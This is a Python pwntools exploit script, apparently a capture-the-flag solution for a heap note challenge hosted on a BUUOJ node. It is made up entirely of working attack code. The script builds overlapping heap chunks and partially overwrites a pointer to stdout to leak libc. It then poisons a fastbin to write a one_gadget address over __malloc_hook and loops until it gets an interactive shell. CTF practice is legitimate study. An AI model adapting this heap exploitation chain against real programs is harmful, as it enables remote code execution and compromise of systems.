1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86
| from pwn import *
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so') _IO_2_1_stdout_s = libc.symbols['_IO_2_1_stdout_'] malloc_hook_s = libc.symbols['__malloc_hook'] one_gadget = 0xf1147
def add(size,content): sh.sendlineafter('5.exit','1') sh.sendlineafter('Input the size:',str(size)) sh.sendafter('Input the content:',content)
def delete(index): sh.sendlineafter('5.exit','2') sh.sendlineafter('Input the index:',str(index))
def edit(index,size,content): sh.sendlineafter('5.exit','4') sh.sendlineafter('Input the index:',str(index)) sh.sendlineafter('Input size:',str(size)) sh.sendafter('Input new content:',content)
def exploit(): add(0x80,'a') add(0x68,'b') add(0xF0,'c') add(0x10,'d')
delete(0) edit(1,0x68,'b'*0x60 + p64(0x70 + 0x90)) delete(2) add(0x80,'a') add(0x68,'b') add(0xF0,'c') delete(0) edit(2,0x68,'b'*0x60 + p64(0x70 + 0x90)) delete(4)
delete(1) add(0x80,'a') delete(0) add(0x80+0x10+2,'a'*0x80 + p64(0) + p64(0x71) + p16((2 << 12) + ((_IO_2_1_stdout_s-0x43) & 0xFFF))) add(0x68,'b') payload = '\x00'*0x33 + p64(0x0FBAD1887) +p64(0)*3 + p8(0x88) add(0x59,payload) libc_base = u64(sh.recv(6).ljust(8,'\x00')) - libc.symbols['_IO_2_1_stdin_'] if libc_base >> 40 != 0x7F: raise Exception('error leak!') malloc_hook_addr = libc_base + malloc_hook_s one_gadget_addr = libc_base + one_gadget print 'libc_base=',hex(libc_base) print 'malloc_hook_addr=',hex(malloc_hook_addr) print 'one_gadget_addr=',hex(one_gadget_addr) delete(1) edit(2,0x8,p64(malloc_hook_addr - 0x23)) add(0x68,'b') add(0x60,'\x00'*0x13 + p64(one_gadget_addr)) sh.sendlineafter('5.exit','1') sh.sendlineafter('Input the size:','1')
while True: try: global sh sh = remote('node3.buuoj.cn',26396) exploit() sh.interactive() except: sh.close() print 'trying...'
|